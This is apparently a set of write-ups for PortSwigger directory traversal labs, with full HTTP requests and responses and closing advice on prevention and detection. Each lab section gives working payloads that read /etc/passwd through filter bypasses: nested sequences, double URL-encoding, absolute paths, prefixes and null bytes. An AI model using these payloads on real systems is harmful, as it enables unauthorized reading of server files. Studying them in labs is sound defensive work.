

Portswigger Labs Writeups

Directory Traversal Labs

Navigating the Risks of Directory Traversal: A Guide to Web Application Security

In the ever-expanding digital world, ensuring the robustness of web applications is a top priority. A persistent and significant threat to this security is a vulnerability known as Directory Traversal, or Path Traversal. This guide offers a detailed look into this vulnerability, its operational mechanics, potential consequences, and crucial defensive measures.

Decoding Directory Traversal

Directory Traversal is a web security flaw that enables unauthorized individuals to access files and directories located outside of the web server's intended root folder. This vulnerability typically arises when a web application fails to properly validate and clean user-provided input, thereby allowing attackers to manipulate file paths and access restricted information.

LAB 1 : File path traversal, simple case (Apprentice)

Lab: File path traversal, simple case

Difficulty: Apprentice

Objective:

The goal of this lab is to identify and exploit a path traversal vulnerability to retrieve the contents of the `/etc/passwd` file from the server's file system.

Vulnerability Analysis:

The application displays product images by fetching them from the server's filesystem via a URL. The request for these images uses a `filename` parameter to specify which image file to retrieve. This parameter was found to be vulnerable to path traversal because the application does not properly validate or sanitize the user-supplied input.

Exploitation Steps:

```
1 GET /image?filename=42.jpg HTTP/2
2 Host: 0a01004e0388b166802f67e4004c003c.web-security-academy.net
3 Cookie: session=MrF8d8E4vGV6KqZiHKIV5J7qRSLI23wZ
4 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
5 Accept: image/avif,image/webp,*/*
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Referer: https://0a01004e0388b166802f67e4004c003c.web-security-academy.net/
9 Sec-Fetch-Dest: image
10 Sec-Fetch-Mode: no-cors
11 Sec-Fetch-Site: same-origin
12 Te: trailers
13
14
```

This filename parameter immediately stood out as a potential vector for a file path traversal attack.

1. Craft the Payload:

`../../etc/passwd`

The `../` sequence instructs the file system to move up one directory. Using it multiple times ensures that the traversal reaches the root directory, from which any file can be accessed.

Request		Response	
Pretty	Raw	Pretty	Raw
1 GET /image?filename=../../etc/passwd		1 HTTP/2 200 OK	
2 HTTP/2		2 Content-Type: image/jpeg	
3 Host: 0a0f00ce04cc94c6840196e900300089.web-security-academy.net		3 X-Frame-Options: SAMEORIGIN	
4 Cookie: session=CctwKROXu5Ipcqj5xY8JNaSpWceZi3Kz		4 Content-Length: 2262	
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0		5 root:x:0:0:root:/root:/bin/bash	
6 Accept: image/avif, image/webp, */*		6 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin	
7 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3		7 bin:x:2:2:bin:/bin:/usr/sbin/nologin	
8 Accept-Encoding: gzip, deflate		8 sys:x:3:3:sys:/dev:/usr/sbin/nologin	
9 Referer: https://0a0f00ce04cc94c6840196e900300089.web-security-academy.net/		9 sync:x:4:65534:sync:/bin:/bin/sync	
10 Sec-Fetch-Dest: image		10 games:x:5:60:games:/usr/games:/usr/sbin/nologin	
11 Sec-Fetch-Mode: no-cors		11 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin	
12 Sec-Fetch-Site: same-origin		12 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin	
13 Te: trailers		13 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin	
		14 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin	
		15 uucn:x:10:10:uucn:/var/spool/uucn:/usr/sbin/nologin	

Lab: File path traversal, traversal sequences blocked with absolute path bypass

Lab: File path traversal, traversal sequences blocked with absolute path bypass

Difficulty: Practitioner

Objective:

The goal of this lab is to exploit a path traversal vulnerability to read the contents of the `/etc/passwd` file, bypassing a security filter that blocks common traversal sequences.

Vulnerability Analysis:

The application's product image display functionality is vulnerable to path traversal. Initial testing reveals that the application implements a security measure to block traversal sequences like `../`. However, this defense is incomplete. The application fails to validate whether the user-supplied filename is an absolute path. It processes the input as a file path relative to a working directory, but if an absolute path is provided (starting from the root `/`), it resolves directly to that path on the file system.

Exploitation Steps:

1. **Identify the Attack Vector:** As in the previous lab, I first identified that product images were loaded using a GET request to the /image endpoint with a filename parameter.

2. **Craft the Absolute Path Bypass Payload:**

/etc/passwd

Request		Response	
Pretty	Raw Hex	Pretty	Raw Hex Render
<pre>1 GET /image?filename=/etc/passwd HTTP/2 2 Host: 0ac700e1045d363e8292924600420064.web-security-academy.net 3 Cookie: session=03snGKm9Mv5siOUcPLdagfFCEnRBsJiS 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 5 Accept: image/avif,image/webp,/*/* 6 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 7 Accept-Encoding: gzip, deflate 8 Referer: https://0ac700e1045d363e8292924600420064.web-security-acade my.net/ 9 Sec-Fetch-Dest: image 10 Sec-Fetch-Mode: no-cors 11 Sec-Fetch-Site: same-origin 12 Te: trailers</pre>		<pre>1 HTTP/2 200 OK 2 Content-Type: image/jpeg 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 2262 5 6 root:x:0:0:root:/root:/bin/bash 7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8 bin:x:2:2:bin:/bin:/usr/sbin/nologin 9 sys:x:3:3:sys:/dev:/usr/sbin/nologin 10 sync:x:4:65534:sync:/bin:/bin/sync 11 games:x:5:60:games:/usr/games:/usr/sbin/nologin 12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin</pre>	

Lab: File path traversal, traversal sequences stripped non-recursively

Lab: File path traversal, traversal sequences stripped non-recursively

Difficulty: Practitioner

Objective:

The goal of this lab is to exploit a path traversal vulnerability to read the contents of the /etc/passwd file, bypassing a defense mechanism that strips traversal sequences from the user-supplied input.

Vulnerability Analysis:

The application's image loading functionality is vulnerable to path traversal via the filename parameter. The developers have attempted to secure the application by implementing a filter that strips any occurrences of the ../ sequence from the input string.

However, this security measure is flawed because the stripping mechanism is non-recursive. It only performs a single pass to remove the ../ sequence. An attacker can bypass this filter by submitting a nested traversal sequence, such as//. When the application processes this input, it removes the inner ../, leaving the outer characters which form a valid ../ sequence. This resulting, valid sequence is then processed by the file system, allowing the attacker to traverse the directory structure.

Exploitation Steps:

1. **Identify the Attack Vector:** The initial step was to intercept the browser's traffic using Burp Suite and identify the request responsible for loading product images. This request was a GET request to the /image endpoint, using a filename parameter.
2. A standard path traversal payload (../../etc/passwd) was sent to the server. This request failed, indicating that a security filter was in place
3. **Craft the Bypass Payload:** The bypass strategy involved creating a payload that would become a valid traversal sequence *after* the filter was applied. The sequence// was used. When the application strips the middle ../, it leaves ../. To traverse multiple directories, this sequence must be repeated.

Request

```
Pretty Raw Hex
1 GET /image?filename=....//....//etc/passwd HTTP/2
2 Host: 0a420078030827778090ade100540078.web-security-academy.net
3 Cookie: session=8TpXxuADQJdgHXQRfNPs8mtMkTLtFqxi
4 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0
5 Accept: image/avif,image/webp,*/*
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Referer: https://0a420078030827778090ade100540078.web-security-academy.net/
9 Sec-Fetch-Dest: image
0 Sec-Fetch-Mode: no-cors
1 Sec-Fetch-Site: same-origin
2 Te: trailers
3
4
```

Response

```
Pretty Raw Hex Render
1 HTTP/2 400 Bad Request
2 Content-Type: application/json; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 14
5
6 "No such file"
```

>

```
Request
Pretty Raw Hex
1 GET /image?filename=../../../../../../../../etc/passwd HTTP/2
2 Host: 0a2a0030049b8f43822a9e64007d00ba.web-security-academy.net
3 Cookie: session=lyV7x24sPEdmVvFR5AGcxVzDWhmFIyJ0
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
5 Accept: image/avif,image/webp,*/*
6 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
7 Accept-Encoding: gzip, deflate
8 Referer: https://0a2a0030049b8f43822a9e64007d00ba.web-security-academy.net/product?productId=1
9 Sec-Fetch-Dest: image
10 Sec-Fetch-Mode: no-cors
11 Sec-Fetch-Site: same-origin
12 Te: trailers
13
14

Response
Pretty Raw Hex Render
1 HTTP/2 200 OK
2 Content-Type: image/jpeg
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 2262
5
6 root:x0:0:root:/root:/bin/bash
7 daemon:x1:1:daemon:/usr/sbin:/usr/sbin/nologin
8 bin:x2:2:bin:/bin:/usr/sbin/nologin
9 sys:x3:3:sys:/dev:/usr/sbin/nologin
10 sync:x4:65534:sync:/bin:/bin/sync
11 games:x5:60:games:/usr/games:/usr/sbin/nologin
12 man:x6:12:man:/var/cache/man:/usr/sbin/nologin
13 lp:x7:7:lp:/var/spool/lpd:/usr/sbin/nologin
14 mail:x8:8:mail:/var/mail:/usr/sbin/nologin
15 news:x9:9:news:/var/spool/news:/usr/sbin/nologin
16 uucp:x10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
17 proxy:x13:13:proxy:/bin:/usr/sbin/nologin
18 www-data:x33:33:www-data:/var/www:/usr/sbin/nologin
19 backup:x34:34:backup:/var/backups:/usr/sbin/nologin
20 list:x38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
21 irc:x39:39:ircd:/var/run/ircd:/usr/sbin/nologin
22 gnats:x41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
23 nobody:x65534:65534:nobody:/nonexistent:/usr/sbin/nologin
24 _apt:x100:65534:/:nonexistent:/usr/sbin/nologin
25 peter:x12001:12001:/home/peter:/bin/bash
26 carlos:x12002:12002:/home/carlos:/bin/bash
27 user:x12000:12000:/home/user:/bin/bash
28 elmer:x12099:12099:/home/elmer:/bin/bash
29 academy:x10000:10000:/academy:/bin/bash
30 messagebus:x101:101:/:nonexistent:/usr/sbin/nologin
31 dnsmasq:x102:65534:dnsmasq:/:/var/lib/misc:/usr/sbin/nologin
32 systemd-timesync:x103:103:systemd Time Synchronization:/:run/systemd:/usr/sbin/nologin
33 systemd-network:x104:105:systemd Network Management:/:run/systemd:/usr/sbin/nologin
34 systemd-resolve:x105:106:systemd Resolver:/:run/systemd:/usr/sbin/nologin
35 mysql:x106:107:MySQL Server:/:nonexistent:/bin/false
36 postgres:x107:110:PostgreSQL administrator:/:var/lib/postgresql:/bin/bash
```

Lab: File path traversal, traversal sequences stripped with superfluous URL-decode

Lab: File path traversal, traversal sequences stripped with superfluous URL-decode

Difficulty: Practitioner

Objective:

The objective of this lab is to exploit a path traversal vulnerability to read the `/etc/passwd` file by bypassing a security filter that is applied before the input is URL-decoded.

Vulnerability Analysis:

The application has a critical flaw in the order of its security operations. It attempts to prevent path traversal by first checking for and blocking the `../` sequence in the user-supplied filename parameter. However, *after* this security check has been performed, the application then URL-decodes the input a second time before using it to access the file system.

This creates a classic bypass scenario. An attacker can submit a URL-encoded traversal sequence. The initial security check inspects the encoded string (e.g., `%2e%2e%2f`) and, finding no literal `../` characters, allows the request to proceed. The subsequent, superfluous URL-decode operation then transforms the encoded payload back into a malicious `../` sequence, which is then processed by the file system, leading to a successful path traversal.

Exploitation Steps:

1. **Identify the Attack Vector:** The request to load product images via the `/image?filename=` endpoint was identified as the potential point of attack.
2. **Confirm the Filter:** A standard traversal payload, `../../etc/passwd`, was sent to the server. The request was blocked, confirming that a basic filter against the `../` sequence was in place.
3. **Craft the URL-Encode Bypass Payload:**
`%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd`

Request		Response	
Pretty	Raw	Pretty	Raw
1 GET /image?filename=21.jpg HTTP/2		1 HTTP/2 200 OK	
2 Host: Oaad002604d3bd3e80187b2700c900a5.web-security-academy.net		2 Content-Type: image/jpeg	
3 Cookie: session=O8n2cUeFzWvDkjIppj4oQcw2GyghL4Aq		3 X-Frame-Options: SAMEORIGIN	
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0		4 Content-Length: 194670	
5 Accept: image/avif, image/webp, */*		5	
6 Accept-Language: es-ES, es; q=0.8, en-US; q=0.5, en; q=0.3		6 y0yá!ExifMM□□□□(1\$'200ii\$	
7 Accept-Encoding: gzip, deflate		7 u□'	
8 Referer: https://Oaad002604d3bd3e80187b2700c900a5.web-security-academy.net/		8 u□'Adobe Photoshop CC 2019	
9 Sec-Fetch-Dest: image		(Macintosh)2019:03:01	
10 Sec-Fetch-Mode: no-cors		16:19:16□0221 yý ¼ Órz(□□HHy0yiAdobe_CMyiAd	
11 Sec-Fetch-Site: same-origin		obed□yÜ□	
12 Te: trailers		9 yÀk "yY	
		10 yÀ?	
		11	
		12 3'1AQa"q□2□;±B#\$RÁb34r□ÑC%□Sóañcs5e*□&D□TdE	
		ÀEt6OUáeo*□ÀOuáof'□×□ □ÀOáo¥uÀÔáöVfv□□;±EÖe	
		ö7GWgw□□\$·Ç*ç-5'1AQaq"2□□;±B#ÁRNó3\$bar□□CSc	
		s4ñtç*□&SÁÖD□TédEUéteaó*□ÀOuáof□×□ □ÀOáo¥uÀ	
		ÔáöVfv□□;±EÖeö'7GWgw□□\$·ÇyÜ?óZEml*°Ç*□□ÉúÁÖ	
		rx*Óé:/Kk.□Ö%FfvBßÖiv?cúÜ:Coz□□BÖÁki=;¼ibÖ*±	

Request		Response	
Pretty	Raw	Pretty	Raw
1 GET /image?filename=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd HTTP/2		1 HTTP/2 200 OK	
2 Host: Oaad002604d3bd3e80187b2700c900a5.web-security-academy.net		2 Content-Type: image/jpeg	
3 Cookie: session=O8n2cUeFzWvDkjIppj4oQcw2GyghL4Aq		3 X-Frame-Options: SAMEORIGIN	
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0		4 Content-Length: 2262	
5 Accept: image/avif, image/webp, */*		5	
6 Accept-Language: es-ES, es; q=0.8, en-US; q=0.5, en; q=0.3		6 root:x:0:0:root:/root:/bin/bash	
7 Accept-Encoding: gzip, deflate		7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin	
8 Referer: https://Oaad002604d3bd3e80187b2700c900a5.web-security-academy.net/		8 bin:x:2:2:bin:/bin:/usr/sbin/nologin	
9 Sec-Fetch-Dest: image		9 sys:x:3:3:sys:/dev:/usr/sbin/nologin	
10 Sec-Fetch-Mode: no-cors		10 sync:x:4:65534:sync:/bin:/bin/sync	
11 Sec-Fetch-Site: same-origin		11 games:x:5:60:games:/usr/games:/usr/sbin/nologin	
12 Te: trailers		12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin	
		13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin	
		14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin	
		15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin	
		16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin	
		17 proxv:x:13:13:proxv:/bin:/usr/sbin/nologin	

Lab: File path traversal, validation of start of path

Lab: File path traversal, validation of start of path

Difficulty: Practitioner

Objective:

The objective of this lab is to exploit a path traversal vulnerability to read the contents of the `/etc/passwd` file, bypassing a security mechanism that validates the beginning of the user-supplied file path.

Vulnerability Analysis:

The application attempts to prevent path traversal by enforcing a rule that the file path provided in the filename parameter must begin with an expected base folder, specifically `/var/www/images`. The application performs a simple string check to see if the input starts with this value.

This security check is inadequate because it fails to account for how the underlying file system resolves paths. An attacker can satisfy the initial validation by providing the required prefix (`/var/www/images/`) and then append path traversal sequences (`../`) to navigate out of this directory to the root of the file system. The application's check passes, but the operating system still processes the traversal sequences, allowing access to arbitrary files.

Exploitation Steps:

- 1. Identify the Attack Vector:** I intercepted the web traffic using Burp Suite and identified that product images were being fetched using a GET request to the `/image` endpoint. The filename parameter contained a full file path, for example: `filename=/var/www/images/example.jpg`.
- I first attempted a standard path traversal attack by sending the payload `../` in the filename parameter. This request was rejected with a 400 Bad Request response, which confirmed that the application was validating the path and that my payload did not meet the required criteria.
- 3. Craft the Bypass Payload**

Request		Response	
Pretty	Raw	Pretty	Raw
1 GET /image?filename=/var/www/images/38.jpg HTTP/2		1 HTTP/2 200 OK	
2 Host: Oaab0091034c356e829aab80007c00b4.web-security-academy.net		2 Content-Type: image/jpeg	
3 Cookie: session=dnPyf179F90Zs2zb1BV5BK0gzJmPsCXE		3 X-Frame-Options: SAMEORIGIN	
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0		4 Content-Length: 277011	
5 Accept: image/avif, image/webp, */*		5	
6 Accept-Language: es-ES, es; q=0.8, en-US; q=0.5, en; q=0.3		6 y0y4cExifMM*0.0*~(1\$'200ii\$	
7 Accept-Encoding: gzip, deflate		7 uD'	
8 Referer: https://Oaab0091034c356e829aab80007c00b4.web-security-academy.net/		8 uD'Adobe Photoshop CC 2019 (Macintosh) 2019:03:04	
9 Sec-Fetch-Dest: image		9 12:14:3500221 yÿ 4 Örz(0)HHy0yiAdobe_CMÿiAdobed0yÜ0	
10 Sec-Fetch-Mode: no-cors		10 yÄk "yÿ	
11 Sec-Fetch-Site: same-origin		11 yÄ?	
12 Te: trailers		12 3'1AQa"q020;±B#\$RÄb34r0NÇ%0S6âñcs5c°04DOTdEÄt60Uäe0°0ÄÖu äöF'0#0'0ÄÖä0ÿuÄÖä0Vfv00; 9EÖe07GWgW00\$·Ç×ç-5!1AQaq"200;±B #ÄPNö3\$bar00CScs4ñ%ç°045ÄÖD0TêdEU6teä0°0ÄÖuä0F0#0'0ÄÖä0ÿu ÄÖä0Vfv00; 9EÖe0'7GWgW00\$·ÇyÜ?63yZk'~(A??IVéj;0B'äy0Scw3uÄ	

Request		Response	
Pretty	Raw Hex	Pretty	Raw Hex Render
<pre> 1 GET /image?filename=/var/www/images/../../../../etc/passwd HTTP/2 2 Host: 0aah0091034c356e829aab80007c00b4.web-security-academy.net 3 Cookie: session=dnPyfl79F90Zs2zbiBV5BK0gzJmpsCXE 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 5 Accept: image/avif,image/webp,*/* 6 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 7 Accept-Encoding: gzip, deflate 8 Referer: https://0aah0091034c356e829aab80007c00b4.web-security-acade my.net/ 9 Sec-Fetch-Dest: image 10 Sec-Fetch-Mode: no-cors 11 Sec-Fetch-Site: same-origin 12 Te: trailers </pre>		<pre> 1 HTTP/2 200 OK 2 Content-Type: image/jpeg 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 2262 5 6 root:x:0:0:root:/root:/bin/bash 7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 8 bin:x:2:2:bin:/bin:/usr/sbin/nologin 9 sys:x:3:3:sys:/dev:/usr/sbin/nologin 10 sync:x:4:65534:sync:/bin:/bin/sync 11 games:x:5:60:games:/usr/games:/usr/sbin/nologin 12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 17 proxv:x:13:13:proxv:/bin:/usr/sbin/nologin </pre>	

Lab: File path traversal, validation of file extension with null byte bypass

Lab: File path traversal, validation of file extension with null byte bypass

Difficulty: Practitioner

Objective:

The goal of this lab is to exploit a path traversal vulnerability to read the `/etc/passwd` file, bypassing a security filter that validates the file extension of the requested filename.

Vulnerability Analysis:

The application attempts to restrict file access to only files with a specific extension (e.g., `.jpg`). It does this by inspecting the filename parameter and ensuring that the string ends with the required extension. However, this validation is vulnerable to a null byte injection attack.

The vulnerability exists because of a discrepancy between how the high-level application code performs the validation and how the underlying file system APIs interpret the filename. Many lower-level programming languages and systems (often based on C/C++) treat the null byte character (`%00` when URL-encoded) as a string terminator.

An attacker can exploit this by appending a null byte before the required file extension. The application's validation logic inspects the full string (e.g., `../../../../etc/passwd%00.jpg`) and confirms that it ends with `.jpg`, so the check passes. However, when the application passes this string to the file system for retrieval, the file system API reads the string only up to the null byte, effectively processing the request as `../../../../etc/passwd`. This bypasses the extension check and allows the attacker to access arbitrary files.

Exploitation Steps:

1. **Identify the Attack Vector:** Using Burp Suite, I intercepted the request for product images. I identified that the images were fetched via a GET request to /image with a filename parameter, such as filename=example.jpg.
2. **Probe the Security Filter:** I first attempted a standard traversal payload: ../../../../etc/passwd. This request was rejected with a 400 Bad Request, indicating that the application had a security control in place
3. **Craft the Null Byte Bypass Payload:**

```
Pretty Raw Hex
1 GET /image?filename=9.jpg HTTP/2
2 Host: 0ab3003803047e9c81133fa6004e0071.web-security-academy.net
3 Cookie: session=Tz8FbrNjpiSRH82qhEzIKmmgLksBjd9y
4 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0
5 Accept: image/avif,image/webp,*/*
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Referer: https://0ab3003803047e9c81133fa6004e0071.web-security-academy.net/
9 Sec-Fetch-Dest: image
10 Sec-Fetch-Mode: no-cors
11 Sec-Fetch-Site: same-origin
12 Te: trailers
```

Request

```
Pretty Raw Hex
1 GET /image?filename=../../../../etc/passwd%00.jpg HTTP/2
2 Host: 0ab3003803047e9c81133fa6004e0071.web-security-academy.net
3 Cookie: session=Tz8FbrNjpiSRH82qhEzIKmmgLksBjd9y
4 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0
5 Accept: image/avif,image/webp,*/*
6 Accept-Language: en-US,en;q=0.5
7 Accept-Encoding: gzip, deflate
8 Referer: https://0ab3003803047e9c81133fa6004e0071.web-security-academy.net/
9 Sec-Fetch-Dest: image
10 Sec-Fetch-Mode: no-cors
11 Sec-Fetch-Site: same-origin
12 Te: trailers
13
14
```

Response

```
Pretty Raw Hex Render
1 HTTP/2 200 OK
2 Content-Type: image/jpeg
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 2262
5
6 root:x:0:0:root:/root:/bin/bash
7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
8 bin:x:2:2:bin:/bin:/usr/sbin/nologin
9 sys:x:3:3:sys:/dev:/usr/sbin/nologin
10 sync:x:4:65534:sync:/bin:/bin/sync
11 games:x:5:60:games:/usr/games:/usr/sbin/nologin
12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
```

How to Prevent Directory Traversal (Mitigation)

1. **Canonicalize and Validate the Path (Most Important)**

This is the most robust defense. First, resolve the user-provided path to its absolute, final form (a process called canonicalization). This processes any ../ sequences to reveal the true destination. Then, strictly validate that this final path is still located within your designated safe directory. If not, reject the request.

2. **Implement Strict Input Validation**

Use an **allow-list (whitelist)** to permit only known-safe characters in filenames (e.g., A-Z, 0-9, _, -). This is far more secure than trying to block bad characters. Also, ensure you block dangerous sequences like ../ and null bytes (%00).

3. **Enforce the Principle of Least Privilege**

Run your web server and application using a dedicated user with minimal permissions. This user should not have read access to sensitive system files (/etc/passwd, config files, etc.). This drastically limits the potential damage of a successful exploit.

4. **Use Indirect References (Secure Architecture)**

Avoid using user input directly in file paths. Instead, assign a safe identifier (e.g., imgId=123) to each file and map this ID to the real, hardcoded file path on the server-side. This completely decouples user input from the file system.

How to Find Directory Traversal Vulnerabilities (Detection)

1. **Automated Scanning (DAST)**

Use a tool like Burp Suite's Scanner or OWASP ZAP to actively probe your running application. These tools automatically send a large library of known attack payloads and analyze the responses to find vulnerabilities quickly.

2. **Manual Penetration Testing**

A security expert manually analyzes the application's logic to craft custom bypasses for security filters that automated tools might miss. This human-driven approach is crucial for finding complex vulnerabilities.

3. **Static Code Analysis (SAST)**

Analyze the application's source code (without running it) to find dangerous patterns. This involves searching for all code where user input is passed to file system functions without proper validation and canonicalization, allowing you to fix flaws before deployment.